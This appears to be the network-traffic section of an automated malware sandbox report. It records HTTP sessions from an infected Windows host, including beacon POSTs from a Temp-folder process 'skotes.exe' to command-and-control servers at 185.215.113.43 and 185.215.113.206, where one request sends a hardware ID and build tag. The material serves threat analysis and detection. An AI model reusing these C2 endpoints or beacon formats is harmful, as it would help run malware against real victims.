Oct 31, 2024 04:17:23.083323002 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:23.206713915 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81970 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:23.477149963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:23.599852085 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81970 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:32.130372047 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:32.253676891 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81979 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:33.044202089 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:33.167072058 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81980 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:42.764508963 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:42.888278008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81989 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:50.780812979 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:50.903496981 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81997 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:17:51.435544968 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:17:51.558142900 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81998 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:18:01.584044933 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:04.179672003 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:18:04.303199053 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 82011 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:18:14.377589941 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:21.596342087 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:18:21.719290972 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 82028 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:18:31.782505989 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:41.879106998 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:44.924850941 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:18:45.047933102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 82051 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 04:18:55.076443911 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:05.099165916 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:15.112282991 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:25.127103090 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:35.147108078 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	58650	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:21.398926020 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:22.276271105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	58657	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:22.120786905 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	58660	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:22.179595947 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	58662	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:22.328742027 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	58664	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:22.605663061 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	58666	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:22.902195930 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	58667	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:23.218463898 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	58668	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:23.613132954 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:24.200793982 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81993 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:32.260790110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:32.383821011 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82001 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:33.170571089 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:33.293752909 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82002 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:42.893165112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:43.015933037 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82011 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:50.906420946 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:51.029330015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82019 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:17:51.561922073 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:17:51.685132027 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82020 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:18:01.785203934 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:04.306189060 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:18:04.428900957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82033 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:18:14.478121042 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:21.722388029 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:18:21.846612930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82050 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:18:31.883239985 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:41.983057022 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:18:45.051457882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:18:45.175266027 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 82074 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 04:18:55.177010059 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:05.199980021 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:15.213145971 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:25.247649908 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 04:19:35.268037081 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	58669	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:23.702312946 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:17:24.634900093 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:17:24.639611959 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGCFHDHIIIDGCAAEGD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 43 46 48 44 48 49 49 49 44 47 43 41 41 45 47 44 2d 2d 0d 0a Data Ascii: ------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------FHCGCFHDHIIIDGCAAEGDContent-Disposition: form-data; name="build"tale------FHCGCFHDHIIIDGCAAEGD--
Oct 31, 2024 04:17:24.932790041 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	58670	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:23.989025116 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:24.906477928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	58671	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:26.434581995 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
